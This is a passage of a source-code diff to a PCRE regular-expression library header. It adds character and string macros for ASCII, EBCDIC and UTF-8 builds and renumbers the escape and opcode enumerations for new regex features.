+which is different from their ASCII/UTF-8 code. Instead we define macros for
+the characters so that they always use the ASCII/UTF-8 code when UTF-8 support
+is enabled. When UTF-8 support is not enabled, the definitions use character
+literals. Both character and string versions of each character are needed, and
+there are some longer strings as well.
 
+This means that, on EBCDIC platforms, the PCRE library can handle either
+EBCDIC, or UTF-8, but not both. To support both in the same compiled library
+would need different lookups depending on whether PCRE_UTF8 was set or not.
+This would make it impossible to use characters in switch/case statements,
+which would reduce performance. For a theoretical use (which nobody has asked
+for) in a minority area (EBCDIC platforms), this is not sensible. Any
+application that did need both could compile two versions of the library, using
+macros to give the functions distinct names. */
+
+#ifndef SUPPORT_UTF8
+
+/* UTF-8 support is not enabled; use the platform-dependent character literals
+so that PCRE works on both ASCII and EBCDIC platforms, in non-UTF-mode only. */
+
+#define CHAR_HT                     '\t'
+#define CHAR_VT                     '\v'
+#define CHAR_FF                     '\f'
+#define CHAR_CR                     '\r'
+#define CHAR_NL                     '\n'
+#define CHAR_BS                     '\b'
+#define CHAR_BEL                    '\a'
+#ifdef EBCDIC
+#define CHAR_ESC                    '\047'
+#define CHAR_DEL                    '\007'
+#else
+#define CHAR_ESC                    '\033'
+#define CHAR_DEL                    '\177'
+#endif
+
+#define CHAR_SPACE                  ' '
+#define CHAR_EXCLAMATION_MARK       '!'
+#define CHAR_QUOTATION_MARK         '"'
+#define CHAR_NUMBER_SIGN            '#'
+#define CHAR_DOLLAR_SIGN            '$'
+#define CHAR_PERCENT_SIGN           '%'
+#define CHAR_AMPERSAND              '&'
+#define CHAR_APOSTROPHE             '\''
+#define CHAR_LEFT_PARENTHESIS       '('
+#define CHAR_RIGHT_PARENTHESIS      ')'
+#define CHAR_ASTERISK               '*'
+#define CHAR_PLUS                   '+'
+#define CHAR_COMMA                  ','
+#define CHAR_MINUS                  '-'
+#define CHAR_DOT                    '.'
+#define CHAR_SLASH                  '/'
+#define CHAR_0                      '0'
+#define CHAR_1                      '1'
+#define CHAR_2                      '2'
+#define CHAR_3                      '3'
+#define CHAR_4                      '4'
+#define CHAR_5                      '5'
+#define CHAR_6                      '6'
+#define CHAR_7                      '7'
+#define CHAR_8                      '8'
+#define CHAR_9                      '9'
+#define CHAR_COLON                  ':'
+#define CHAR_SEMICOLON              ';'
+#define CHAR_LESS_THAN_SIGN         '<'
+#define CHAR_EQUALS_SIGN            '='
+#define CHAR_GREATER_THAN_SIGN      '>'
+#define CHAR_QUESTION_MARK          '?'
+#define CHAR_COMMERCIAL_AT          '@'
+#define CHAR_A                      'A'
+#define CHAR_B                      'B'
+#define CHAR_C                      'C'
+#define CHAR_D                      'D'
+#define CHAR_E                      'E'
+#define CHAR_F                      'F'
+#define CHAR_G                      'G'
+#define CHAR_H                      'H'
+#define CHAR_I                      'I'
+#define CHAR_J                      'J'
+#define CHAR_K                      'K'
+#define CHAR_L                      'L'
+#define CHAR_M                      'M'
+#define CHAR_N                      'N'
+#define CHAR_O                      'O'
+#define CHAR_P                      'P'
+#define CHAR_Q                      'Q'
+#define CHAR_R                      'R'
+#define CHAR_S                      'S'
+#define CHAR_T                      'T'
+#define CHAR_U                      'U'
+#define CHAR_V                      'V'
+#define CHAR_W                      'W'
+#define CHAR_X                      'X'
+#define CHAR_Y                      'Y'
+#define CHAR_Z                      'Z'
+#define CHAR_LEFT_SQUARE_BRACKET    '['
+#define CHAR_BACKSLASH              '\\'
+#define CHAR_RIGHT_SQUARE_BRACKET   ']'
+#define CHAR_CIRCUMFLEX_ACCENT      '^'
+#define CHAR_UNDERSCORE             '_'
+#define CHAR_GRAVE_ACCENT           '`'
+#define CHAR_a                      'a'
+#define CHAR_b                      'b'
+#define CHAR_c                      'c'
+#define CHAR_d                      'd'
+#define CHAR_e                      'e'
+#define CHAR_f                      'f'
+#define CHAR_g                      'g'
+#define CHAR_h                      'h'
+#define CHAR_i                      'i'
+#define CHAR_j                      'j'
+#define CHAR_k                      'k'
+#define CHAR_l                      'l'
+#define CHAR_m                      'm'
+#define CHAR_n                      'n'
+#define CHAR_o                      'o'
+#define CHAR_p                      'p'
+#define CHAR_q                      'q'
+#define CHAR_r                      'r'
+#define CHAR_s                      's'
+#define CHAR_t                      't'
+#define CHAR_u                      'u'
+#define CHAR_v                      'v'
+#define CHAR_w                      'w'
+#define CHAR_x                      'x'
+#define CHAR_y                      'y'
+#define CHAR_z                      'z'
+#define CHAR_LEFT_CURLY_BRACKET     '{'
+#define CHAR_VERTICAL_LINE          '|'
+#define CHAR_RIGHT_CURLY_BRACKET    '}'
+#define CHAR_TILDE                  '~'
+
+#define STR_HT                      "\t"
+#define STR_VT                      "\v"
+#define STR_FF                      "\f"
+#define STR_CR                      "\r"
+#define STR_NL                      "\n"
+#define STR_BS                      "\b"
+#define STR_BEL                     "\a"
+#ifdef EBCDIC
+#define STR_ESC                     "\047"
+#define STR_DEL                     "\007"
+#else
+#define STR_ESC                     "\033"
+#define STR_DEL                     "\177"
+#endif
+
+#define STR_SPACE                   " "
+#define STR_EXCLAMATION_MARK        "!"
+#define STR_QUOTATION_MARK          "\""
+#define STR_NUMBER_SIGN             "#"
+#define STR_DOLLAR_SIGN             "$"
+#define STR_PERCENT_SIGN            "%"
+#define STR_AMPERSAND               "&"
+#define STR_APOSTROPHE              "'"
+#define STR_LEFT_PARENTHESIS        "("
+#define STR_RIGHT_PARENTHESIS       ")"
+#define STR_ASTERISK                "*"
+#define STR_PLUS                    "+"
+#define STR_COMMA                   ","
+#define STR_MINUS                   "-"
+#define STR_DOT                     "."
+#define STR_SLASH                   "/"
+#define STR_0                       "0"
+#define STR_1                       "1"
+#define STR_2                       "2"
+#define STR_3                       "3"
+#define STR_4                       "4"
+#define STR_5                       "5"
+#define STR_6                       "6"
+#define STR_7                       "7"
+#define STR_8                       "8"
+#define STR_9                       "9"
+#define STR_COLON                   ":"
+#define STR_SEMICOLON               ";"
+#define STR_LESS_THAN_SIGN          "<"
+#define STR_EQUALS_SIGN             "="
+#define STR_GREATER_THAN_SIGN       ">"
+#define STR_QUESTION_MARK           "?"
+#define STR_COMMERCIAL_AT           "@"
+#define STR_A                       "A"
+#define STR_B                       "B"
+#define STR_C                       "C"
+#define STR_D                       "D"
+#define STR_E                       "E"
+#define STR_F                       "F"
+#define STR_G                       "G"
+#define STR_H                       "H"
+#define STR_I                       "I"
+#define STR_J                       "J"
+#define STR_K                       "K"
+#define STR_L                       "L"
+#define STR_M                       "M"
+#define STR_N                       "N"
+#define STR_O                       "O"
+#define STR_P                       "P"
+#define STR_Q                       "Q"
+#define STR_R                       "R"
+#define STR_S                       "S"
+#define STR_T                       "T"
+#define STR_U                       "U"
+#define STR_V                       "V"
+#define STR_W                       "W"
+#define STR_X                       "X"
+#define STR_Y                       "Y"
+#define STR_Z                       "Z"
+#define STR_LEFT_SQUARE_BRACKET     "["
+#define STR_BACKSLASH               "\\"
+#define STR_RIGHT_SQUARE_BRACKET    "]"
+#define STR_CIRCUMFLEX_ACCENT       "^"
+#define STR_UNDERSCORE              "_"
+#define STR_GRAVE_ACCENT            "`"
+#define STR_a                       "a"
+#define STR_b                       "b"
+#define STR_c                       "c"
+#define STR_d                       "d"
+#define STR_e                       "e"
+#define STR_f                       "f"
+#define STR_g                       "g"
+#define STR_h                       "h"
+#define STR_i                       "i"
+#define STR_j                       "j"
+#define STR_k                       "k"
+#define STR_l                       "l"
+#define STR_m                       "m"
+#define STR_n                       "n"
+#define STR_o                       "o"
+#define STR_p                       "p"
+#define STR_q                       "q"
+#define STR_r                       "r"
+#define STR_s                       "s"
+#define STR_t                       "t"
+#define STR_u                       "u"
+#define STR_v                       "v"
+#define STR_w                       "w"
+#define STR_x                       "x"
+#define STR_y                       "y"
+#define STR_z                       "z"
+#define STR_LEFT_CURLY_BRACKET      "{"
+#define STR_VERTICAL_LINE           "|"
+#define STR_RIGHT_CURLY_BRACKET     "}"
+#define STR_TILDE                   "~"
+
+#define STRING_ACCEPT0              "ACCEPT\0"
+#define STRING_COMMIT0              "COMMIT\0"
+#define STRING_F0                   "F\0"
+#define STRING_FAIL0                "FAIL\0"
+#define STRING_PRUNE0               "PRUNE\0"
+#define STRING_SKIP0                "SKIP\0"
+#define STRING_THEN                 "THEN"
+
+#define STRING_alpha0               "alpha\0"
+#define STRING_lower0               "lower\0"
+#define STRING_upper0               "upper\0"
+#define STRING_alnum0               "alnum\0"
+#define STRING_ascii0               "ascii\0"
+#define STRING_blank0               "blank\0"
+#define STRING_cntrl0               "cntrl\0"
+#define STRING_digit0               "digit\0"
+#define STRING_graph0               "graph\0"
+#define STRING_print0               "print\0"
+#define STRING_punct0               "punct\0"
+#define STRING_space0               "space\0"
+#define STRING_word0                "word\0"
+#define STRING_xdigit               "xdigit"
+
+#define STRING_DEFINE               "DEFINE"
+
+#define STRING_CR_RIGHTPAR          "CR)"
+#define STRING_LF_RIGHTPAR          "LF)"
+#define STRING_CRLF_RIGHTPAR        "CRLF)"
+#define STRING_ANY_RIGHTPAR         "ANY)"
+#define STRING_ANYCRLF_RIGHTPAR     "ANYCRLF)"
+#define STRING_BSR_ANYCRLF_RIGHTPAR "BSR_ANYCRLF)"
+#define STRING_BSR_UNICODE_RIGHTPAR "BSR_UNICODE)"
+#define STRING_UTF8_RIGHTPAR        "UTF8)"
+
+#else  /* SUPPORT_UTF8 */
+
+/* UTF-8 support is enabled; always use UTF-8 (=ASCII) character codes. This
+works in both modes non-EBCDIC platforms, and on EBCDIC platforms in UTF-8 mode
+only. */
+
+#define CHAR_HT                     '\011'
+#define CHAR_VT                     '\013'
+#define CHAR_FF                     '\014'
+#define CHAR_CR                     '\015'
+#define CHAR_NL                     '\012'
+#define CHAR_BS                     '\010'
+#define CHAR_BEL                    '\007'
+#define CHAR_ESC                    '\033'
+#define CHAR_DEL                    '\177'
+
+#define CHAR_SPACE                  '\040'
+#define CHAR_EXCLAMATION_MARK       '\041'
+#define CHAR_QUOTATION_MARK         '\042'
+#define CHAR_NUMBER_SIGN            '\043'
+#define CHAR_DOLLAR_SIGN            '\044'
+#define CHAR_PERCENT_SIGN           '\045'
+#define CHAR_AMPERSAND              '\046'
+#define CHAR_APOSTROPHE             '\047'
+#define CHAR_LEFT_PARENTHESIS       '\050'
+#define CHAR_RIGHT_PARENTHESIS      '\051'
+#define CHAR_ASTERISK               '\052'
+#define CHAR_PLUS                   '\053'
+#define CHAR_COMMA                  '\054'
+#define CHAR_MINUS                  '\055'
+#define CHAR_DOT                    '\056'
+#define CHAR_SLASH                  '\057'
+#define CHAR_0                      '\060'
+#define CHAR_1                      '\061'
+#define CHAR_2                      '\062'
+#define CHAR_3                      '\063'
+#define CHAR_4                      '\064'
+#define CHAR_5                      '\065'
+#define CHAR_6                      '\066'
+#define CHAR_7                      '\067'
+#define CHAR_8                      '\070'
+#define CHAR_9                      '\071'
+#define CHAR_COLON                  '\072'
+#define CHAR_SEMICOLON              '\073'
+#define CHAR_LESS_THAN_SIGN         '\074'
+#define CHAR_EQUALS_SIGN            '\075'
+#define CHAR_GREATER_THAN_SIGN      '\076'
+#define CHAR_QUESTION_MARK          '\077'
+#define CHAR_COMMERCIAL_AT          '\100'
+#define CHAR_A                      '\101'
+#define CHAR_B                      '\102'
+#define CHAR_C                      '\103'
+#define CHAR_D                      '\104'
+#define CHAR_E                      '\105'
+#define CHAR_F                      '\106'
+#define CHAR_G                      '\107'
+#define CHAR_H                      '\110'
+#define CHAR_I                      '\111'
+#define CHAR_J                      '\112'
+#define CHAR_K                      '\113'
+#define CHAR_L                      '\114'
+#define CHAR_M                      '\115'
+#define CHAR_N                      '\116'
+#define CHAR_O                      '\117'
+#define CHAR_P                      '\120'
+#define CHAR_Q                      '\121'
+#define CHAR_R                      '\122'
+#define CHAR_S                      '\123'
+#define CHAR_T                      '\124'
+#define CHAR_U                      '\125'
+#define CHAR_V                      '\126'
+#define CHAR_W                      '\127'
+#define CHAR_X                      '\130'
+#define CHAR_Y                      '\131'
+#define CHAR_Z                      '\132'
+#define CHAR_LEFT_SQUARE_BRACKET    '\133'
+#define CHAR_BACKSLASH              '\134'
+#define CHAR_RIGHT_SQUARE_BRACKET   '\135'
+#define CHAR_CIRCUMFLEX_ACCENT      '\136'
+#define CHAR_UNDERSCORE             '\137'
+#define CHAR_GRAVE_ACCENT           '\140'
+#define CHAR_a                      '\141'
+#define CHAR_b                      '\142'
+#define CHAR_c                      '\143'
+#define CHAR_d                      '\144'
+#define CHAR_e                      '\145'
+#define CHAR_f                      '\146'
+#define CHAR_g                      '\147'
+#define CHAR_h                      '\150'
+#define CHAR_i                      '\151'
+#define CHAR_j                      '\152'
+#define CHAR_k                      '\153'
+#define CHAR_l                      '\154'
+#define CHAR_m                      '\155'
+#define CHAR_n                      '\156'
+#define CHAR_o                      '\157'
+#define CHAR_p                      '\160'
+#define CHAR_q                      '\161'
+#define CHAR_r                      '\162'
+#define CHAR_s                      '\163'
+#define CHAR_t                      '\164'
+#define CHAR_u                      '\165'
+#define CHAR_v                      '\166'
+#define CHAR_w                      '\167'
+#define CHAR_x                      '\170'
+#define CHAR_y                      '\171'
+#define CHAR_z                      '\172'
+#define CHAR_LEFT_CURLY_BRACKET     '\173'
+#define CHAR_VERTICAL_LINE          '\174'
+#define CHAR_RIGHT_CURLY_BRACKET    '\175'
+#define CHAR_TILDE                  '\176'
+
+#define STR_HT                      "\011"
+#define STR_VT                      "\013"
+#define STR_FF                      "\014"
+#define STR_CR                      "\015"
+#define STR_NL                      "\012"
+#define STR_BS                      "\010"
+#define STR_BEL                     "\007"
+#define STR_ESC                     "\033"
+#define STR_DEL                     "\177"
+
+#define STR_SPACE                   "\040"
+#define STR_EXCLAMATION_MARK        "\041"
+#define STR_QUOTATION_MARK          "\042"
+#define STR_NUMBER_SIGN             "\043"
+#define STR_DOLLAR_SIGN             "\044"
+#define STR_PERCENT_SIGN            "\045"
+#define STR_AMPERSAND               "\046"
+#define STR_APOSTROPHE              "\047"
+#define STR_LEFT_PARENTHESIS        "\050"
+#define STR_RIGHT_PARENTHESIS       "\051"
+#define STR_ASTERISK                "\052"
+#define STR_PLUS                    "\053"
+#define STR_COMMA                   "\054"
+#define STR_MINUS                   "\055"
+#define STR_DOT                     "\056"
+#define STR_SLASH                   "\057"
+#define STR_0                       "\060"
+#define STR_1                       "\061"
+#define STR_2                       "\062"
+#define STR_3                       "\063"
+#define STR_4                       "\064"
+#define STR_5                       "\065"
+#define STR_6                       "\066"
+#define STR_7                       "\067"
+#define STR_8                       "\070"
+#define STR_9                       "\071"
+#define STR_COLON                   "\072"
+#define STR_SEMICOLON               "\073"
+#define STR_LESS_THAN_SIGN          "\074"
+#define STR_EQUALS_SIGN             "\075"
+#define STR_GREATER_THAN_SIGN       "\076"
+#define STR_QUESTION_MARK           "\077"
+#define STR_COMMERCIAL_AT           "\100"
+#define STR_A                       "\101"
+#define STR_B                       "\102"
+#define STR_C                       "\103"
+#define STR_D                       "\104"
+#define STR_E                       "\105"
+#define STR_F                       "\106"
+#define STR_G                       "\107"
+#define STR_H                       "\110"
+#define STR_I                       "\111"
+#define STR_J                       "\112"
+#define STR_K                       "\113"
+#define STR_L                       "\114"
+#define STR_M                       "\115"
+#define STR_N                       "\116"
+#define STR_O                       "\117"
+#define STR_P                       "\120"
+#define STR_Q                       "\121"
+#define STR_R                       "\122"
+#define STR_S                       "\123"
+#define STR_T                       "\124"
+#define STR_U                       "\125"
+#define STR_V                       "\126"
+#define STR_W                       "\127"
+#define STR_X                       "\130"
+#define STR_Y                       "\131"
+#define STR_Z                       "\132"
+#define STR_LEFT_SQUARE_BRACKET     "\133"
+#define STR_BACKSLASH               "\134"
+#define STR_RIGHT_SQUARE_BRACKET    "\135"
+#define STR_CIRCUMFLEX_ACCENT       "\136"
+#define STR_UNDERSCORE              "\137"
+#define STR_GRAVE_ACCENT            "\140"
+#define STR_a                       "\141"
+#define STR_b                       "\142"
+#define STR_c                       "\143"
+#define STR_d                       "\144"
+#define STR_e                       "\145"
+#define STR_f                       "\146"
+#define STR_g                       "\147"
+#define STR_h                       "\150"
+#define STR_i                       "\151"
+#define STR_j                       "\152"
+#define STR_k                       "\153"
+#define STR_l                       "\154"
+#define STR_m                       "\155"
+#define STR_n                       "\156"
+#define STR_o                       "\157"
+#define STR_p                       "\160"
+#define STR_q                       "\161"
+#define STR_r                       "\162"
+#define STR_s                       "\163"
+#define STR_t                       "\164"
+#define STR_u                       "\165"
+#define STR_v                       "\166"
+#define STR_w                       "\167"
+#define STR_x                       "\170"
+#define STR_y                       "\171"
+#define STR_z                       "\172"
+#define STR_LEFT_CURLY_BRACKET      "\173"
+#define STR_VERTICAL_LINE           "\174"
+#define STR_RIGHT_CURLY_BRACKET     "\175"
+#define STR_TILDE                   "\176"
+
+#define STRING_ACCEPT0              STR_A STR_C STR_C STR_E STR_P STR_T "\0"
+#define STRING_COMMIT0              STR_C STR_O STR_M STR_M STR_I STR_T "\0"
+#define STRING_F0                   STR_F "\0"
+#define STRING_FAIL0                STR_F STR_A STR_I STR_L "\0"
+#define STRING_PRUNE0               STR_P STR_R STR_U STR_N STR_E "\0"
+#define STRING_SKIP0                STR_S STR_K STR_I STR_P "\0"
+#define STRING_THEN                 STR_T STR_H STR_E STR_N
+
+#define STRING_alpha0               STR_a STR_l STR_p STR_h STR_a "\0"
+#define STRING_lower0               STR_l STR_o STR_w STR_e STR_r "\0"
+#define STRING_upper0               STR_u STR_p STR_p STR_e STR_r "\0"
+#define STRING_alnum0               STR_a STR_l STR_n STR_u STR_m "\0"
+#define STRING_ascii0               STR_a STR_s STR_c STR_i STR_i "\0"
+#define STRING_blank0               STR_b STR_l STR_a STR_n STR_k "\0"
+#define STRING_cntrl0               STR_c STR_n STR_t STR_r STR_l "\0"
+#define STRING_digit0               STR_d STR_i STR_g STR_i STR_t "\0"
+#define STRING_graph0               STR_g STR_r STR_a STR_p STR_h "\0"
+#define STRING_print0               STR_p STR_r STR_i STR_n STR_t "\0"
+#define STRING_punct0               STR_p STR_u STR_n STR_c STR_t "\0"
+#define STRING_space0               STR_s STR_p STR_a STR_c STR_e "\0"
+#define STRING_word0                STR_w STR_o STR_r STR_d       "\0"
+#define STRING_xdigit               STR_x STR_d STR_i STR_g STR_i STR_t
+
+#define STRING_DEFINE               STR_D STR_E STR_F STR_I STR_N STR_E
+
+#define STRING_CR_RIGHTPAR          STR_C STR_R STR_RIGHT_PARENTHESIS
+#define STRING_LF_RIGHTPAR          STR_L STR_F STR_RIGHT_PARENTHESIS
+#define STRING_CRLF_RIGHTPAR        STR_C STR_R STR_L STR_F STR_RIGHT_PARENTHESIS
+#define STRING_ANY_RIGHTPAR         STR_A STR_N STR_Y STR_RIGHT_PARENTHESIS
+#define STRING_ANYCRLF_RIGHTPAR     STR_A STR_N STR_Y STR_C STR_R STR_L STR_F STR_RIGHT_PARENTHESIS
+#define STRING_BSR_ANYCRLF_RIGHTPAR STR_B STR_S STR_R STR_UNDERSCORE STR_A STR_N STR_Y STR_C STR_R STR_L STR_F STR_RIGHT_PARENTHESIS
+#define STRING_BSR_UNICODE_RIGHTPAR STR_B STR_S STR_R STR_UNDERSCORE STR_U STR_N STR_I STR_C STR_O STR_D STR_E STR_RIGHT_PARENTHESIS
+#define STRING_UTF8_RIGHTPAR        STR_U STR_T STR_F STR_8 STR_RIGHT_PARENTHESIS
+
+#endif  /* SUPPORT_UTF8 */
+
+/* Escape items that are just an encoding of a particular data value. */
+
 #ifndef ESC_e
-#define ESC_e 27
+#define ESC_e CHAR_ESC
 #endif
 
 #ifndef ESC_f
-#define ESC_f '\f'
+#define ESC_f CHAR_FF
 #endif
 
 #ifndef ESC_n
-#define ESC_n NEWLINE
+#define ESC_n CHAR_NL
 #endif
 
 #ifndef ESC_r
-#define ESC_r '\r'
+#define ESC_r CHAR_CR
 #endif
 
 /* We can't officially use ESC_t because it is a POSIX reserved identifier
 (presumably because of all the others like size_t). */
 
 #ifndef ESC_tee
-#define ESC_tee '\t'
+#define ESC_tee CHAR_HT
 #endif
 
 /* Codes for different types of Unicode property */
@@ -496,23 +1186,29 @@
 value such as \n. They must have non-zero values, as check_escape() returns
 their negation. Also, they must appear in the same order as in the opcode
 definitions below, up to ESC_z. There's a dummy for OP_ANY because it
-corresponds to "." rather than an escape sequence. The final one must be
-ESC_REF as subsequent values are used for \1, \2, \3, etc. There is are two
-tests in the code for an escape greater than ESC_b and less than ESC_Z to
-detect the types that may be repeated. These are the types that consume
-characters. If any new escapes are put in between that don't consume a
-character, that code will have to change. */
+corresponds to "." rather than an escape sequence, and another for OP_ALLANY
+(which is used for [^] in JavaScript compatibility mode).
 
-enum { ESC_A = 1, ESC_G, ESC_B, ESC_b, ESC_D, ESC_d, ESC_S, ESC_s, ESC_W,
-       ESC_w, ESC_dum1, ESC_C, ESC_P, ESC_p, ESC_X, ESC_Z, ESC_z, ESC_E,
-       ESC_Q, ESC_REF };
+The final escape must be ESC_REF as subsequent values are used for
+backreferences (\1, \2, \3, etc). There are two tests in the code for an escape
+greater than ESC_b and less than ESC_Z to detect the types that may be
+repeated. These are the types that consume characters. If any new escapes are
+put in between that don't consume a character, that code will have to change.
+*/
 
-/* Opcode table: OP_BRA must be last, as all values >= it are used for brackets
-that extract substrings. Starting from 1 (i.e. after OP_END), the values up to
+enum { ESC_A = 1, ESC_G, ESC_K, ESC_B, ESC_b, ESC_D, ESC_d, ESC_S, ESC_s,
+       ESC_W, ESC_w, ESC_dum1, ESC_dum2, ESC_C, ESC_P, ESC_p, ESC_R, ESC_H,
+       ESC_h, ESC_V, ESC_v, ESC_X, ESC_Z, ESC_z, ESC_E, ESC_Q, ESC_g, ESC_k,
+       ESC_REF };
+
+
+/* Opcode table: Starting from 1 (i.e. after OP_END), the values up to
 OP_EOD must correspond in order to the list of escapes immediately above.
-Note that whenever this list is updated, the two macro definitions that follow
-must also be updated to match. */
 
+*** NOTE NOTE NOTE *** Whenever this list is updated, the two macro definitions
+that follow must also be updated to match. There is also a table called
+"coptable" in pcre_dfa_exec.c that must be updated. */
+
 enum {
   OP_END,            /* 0 End of pattern */
 
@@ -520,141 +1216,181 @@
 
   OP_SOD,            /* 1 Start of data: \A */
   OP_SOM,            /* 2 Start of match (subject + offset): \G */
-  OP_NOT_WORD_BOUNDARY,  /*  3 \B */
-  OP_WORD_BOUNDARY,      /*  4 \b */
-  OP_NOT_DIGIT,          /*  5 \D */
-  OP_DIGIT,              /*  6 \d */
-  OP_NOT_WHITESPACE,     /*  7 \S */
-  OP_WHITESPACE,         /*  8 \s */
-  OP_NOT_WORDCHAR,       /*  9 \W */
-  OP_WORDCHAR,           /* 10 \w */
-  OP_ANY,            /* 11 Match any character */
-  OP_ANYBYTE,        /* 12 Match any byte (\C); different to OP_ANY for UTF-8 */
-  OP_NOTPROP,        /* 13 \P (not Unicode property) */
-  OP_PROP,           /* 14 \p (Unicode property) */
-  OP_EXTUNI,         /* 15 \X (extended Unicode sequence */
-  OP_EODN,           /* 16 End of data or \n at end of data: \Z. */
-  OP_EOD,            /* 17 End of data: \z */
+  OP_SET_SOM,        /* 3 Set start of match (\K) */
+  OP_NOT_WORD_BOUNDARY,  /*  4 \B */
+  OP_WORD_BOUNDARY,      /*  5 \b */
+  OP_NOT_DIGIT,          /*  6 \D */
+  OP_DIGIT,              /*  7 \d */
+  OP_NOT_WHITESPACE,     /*  8 \S */
+  OP_WHITESPACE,         /*  9 \s */
+  OP_NOT_WORDCHAR,       /* 10 \W */
+  OP_WORDCHAR,           /* 11 \w */
+  OP_ANY,            /* 12 Match any character (subject to DOTALL) */
+  OP_ALLANY,         /* 13 Match any character (not subject to DOTALL) */
+  OP_ANYBYTE,        /* 14 Match any byte (\C); different to OP_ANY for UTF-8 */
+  OP_NOTPROP,        /* 15 \P (not Unicode property) */
+  OP_PROP,           /* 16 \p (Unicode property) */
+  OP_ANYNL,          /* 17 \R (any newline sequence) */
+  OP_NOT_HSPACE,     /* 18 \H (not horizontal whitespace) */
+  OP_HSPACE,         /* 19 \h (horizontal whitespace) */
+  OP_NOT_VSPACE,     /* 20 \V (not vertical whitespace) */
+  OP_VSPACE,         /* 21 \v (vertical whitespace) */
+  OP_EXTUNI,         /* 22 \X (extended Unicode sequence */
+  OP_EODN,           /* 23 End of data or \n at end of data: \Z. */
+  OP_EOD,            /* 24 End of data: \z */
 
-  OP_OPT,            /* 18 Set runtime options */
-  OP_CIRC,           /* 19 Start of line - varies with multiline switch */
-  OP_DOLL,           /* 20 End of line - varies with multiline switch */
-  OP_CHAR,           /* 21 Match one character, casefully */
-  OP_CHARNC,         /* 22 Match one character, caselessly */
-  OP_NOT,            /* 23 Match one character, not the following one */
+  OP_OPT,            /* 25 Set runtime options */
+  OP_CIRC,           /* 26 Start of line - varies with multiline switch */
+  OP_DOLL,           /* 27 End of line - varies with multiline switch */
+  OP_CHAR,           /* 28 Match one character, casefully */
+  OP_CHARNC,         /* 29 Match one character, caselessly */
+  OP_NOT,            /* 30 Match one character, not the following one */
 
-  OP_STAR,           /* 24 The maximizing and minimizing versions of */
-  OP_MINSTAR,        /* 25 all these opcodes must come in pairs, with */
-  OP_PLUS,           /* 26 the minimizing one second. */
-  OP_MINPLUS,        /* 27 This first set applies to single characters */
-  OP_QUERY,          /* 28 */
-  OP_MINQUERY,       /* 29 */
-  OP_UPTO,           /* 30 From 0 to n matches */
-  OP_MINUPTO,        /* 31 */
-  OP_EXACT,          /* 32 Exactly n matches */
+  OP_STAR,           /* 31 The maximizing and minimizing versions of */
+  OP_MINSTAR,        /* 32 these six opcodes must come in pairs, with */
+  OP_PLUS,           /* 33 the minimizing one second. */
+  OP_MINPLUS,        /* 34 This first set applies to single characters.*/
+  OP_QUERY,          /* 35 */
+  OP_MINQUERY,       /* 36 */
 
-  OP_NOTSTAR,        /* 33 The maximizing and minimizing versions of */
-  OP_NOTMINSTAR,     /* 34 all these opcodes must come in pairs, with */
-  OP_NOTPLUS,        /* 35 the minimizing one second. */
-  OP_NOTMINPLUS,     /* 36 This set applies to "not" single characters */
-  OP_NOTQUERY,       /* 37 */
-  OP_NOTMINQUERY,    /* 38 */
-  OP_NOTUPTO,        /* 39 From 0 to n matches */
-  OP_NOTMINUPTO,     /* 40 */
-  OP_NOTEXACT,       /* 41 Exactly n matches */
+  OP_UPTO,           /* 37 From 0 to n matches */
+  OP_MINUPTO,        /* 38 */
+  OP_EXACT,          /* 39 Exactly n matches */
 
-  OP_TYPESTAR,       /* 42 The maximizing and minimizing versions of */
-  OP_TYPEMINSTAR,    /* 43 all these opcodes must come in pairs, with */
-  OP_TYPEPLUS,       /* 44 the minimizing one second. These codes must */
-  OP_TYPEMINPLUS,    /* 45 be in exactly the same order as those above. */
-  OP_TYPEQUERY,      /* 46 This set applies to character types such as \d */
-  OP_TYPEMINQUERY,   /* 47 */
-  OP_TYPEUPTO,       /* 48 From 0 to n matches */
-  OP_TYPEMINUPTO,    /* 49 */
-  OP_TYPEEXACT,      /* 50 Exactly n matches */
+  OP_POSSTAR,        /* 40 Possessified star */
+  OP_POSPLUS,        /* 41 Possessified plus */
+  OP_POSQUERY,       /* 42 Posesssified query */
+  OP_POSUPTO,        /* 43 Possessified upto */
 
-  OP_CRSTAR,         /* 51 The maximizing and minimizing versions of */
-  OP_CRMINSTAR,      /* 52 all these opcodes must come in pairs, with */
-  OP_CRPLUS,         /* 53 the minimizing one second. These codes must */
-  OP_CRMINPLUS,      /* 54 be in exactly the same order as those above. */
-  OP_CRQUERY,        /* 55 These are for character classes and back refs */
-  OP_CRMINQUERY,     /* 56 */
-  OP_CRRANGE,        /* 57 These are different to the three sets above. */
-  OP_CRMINRANGE,     /* 58 */
+  OP_NOTSTAR,        /* 44 The maximizing and minimizing versions of */
+  OP_NOTMINSTAR,     /* 45 these six opcodes must come in pairs, with */
+  OP_NOTPLUS,        /* 46 the minimizing one second. They must be in */
+  OP_NOTMINPLUS,     /* 47 exactly the same order as those above. */
+  OP_NOTQUERY,       /* 48 This set applies to "not" single characters. */
+  OP_NOTMINQUERY,    /* 49 */
 
-  OP_CLASS,          /* 59 Match a character class, chars < 256 only */
-  OP_NCLASS,         /* 60 Same, but the bitmap was created from a negative
+  OP_NOTUPTO,        /* 50 From 0 to n matches */
+  OP_NOTMINUPTO,     /* 51 */
+  OP_NOTEXACT,       /* 52 Exactly n matches */
+
+  OP_NOTPOSSTAR,     /* 53 Possessified versions */
+  OP_NOTPOSPLUS,     /* 54 */
+  OP_NOTPOSQUERY,    /* 55 */
+  OP_NOTPOSUPTO,     /* 56 */
+
+  OP_TYPESTAR,       /* 57 The maximizing and minimizing versions of */
+  OP_TYPEMINSTAR,    /* 58 these six opcodes must come in pairs, with */
+  OP_TYPEPLUS,       /* 59 the minimizing one second. These codes must */
+  OP_TYPEMINPLUS,    /* 60 be in exactly the same order as those above. */
+  OP_TYPEQUERY,      /* 61 This set applies to character types such as \d */
+  OP_TYPEMINQUERY,   /* 62 */
+
+  OP_TYPEUPTO,       /* 63 From 0 to n matches */
+  OP_TYPEMINUPTO,    /* 64 */
+  OP_TYPEEXACT,      /* 65 Exactly n matches */
+
+  OP_TYPEPOSSTAR,    /* 66 Possessified versions */
+  OP_TYPEPOSPLUS,    /* 67 */
+  OP_TYPEPOSQUERY,   /* 68 */
+  OP_TYPEPOSUPTO,    /* 69 */
+
+  OP_CRSTAR,         /* 70 The maximizing and minimizing versions of */
+  OP_CRMINSTAR,      /* 71 all these opcodes must come in pairs, with */
+  OP_CRPLUS,         /* 72 the minimizing one second. These codes must */
+  OP_CRMINPLUS,      /* 73 be in exactly the same order as those above. */
+  OP_CRQUERY,        /* 74 These are for character classes and back refs */
+  OP_CRMINQUERY,     /* 75 */
+  OP_CRRANGE,        /* 76 These are different to the three sets above. */
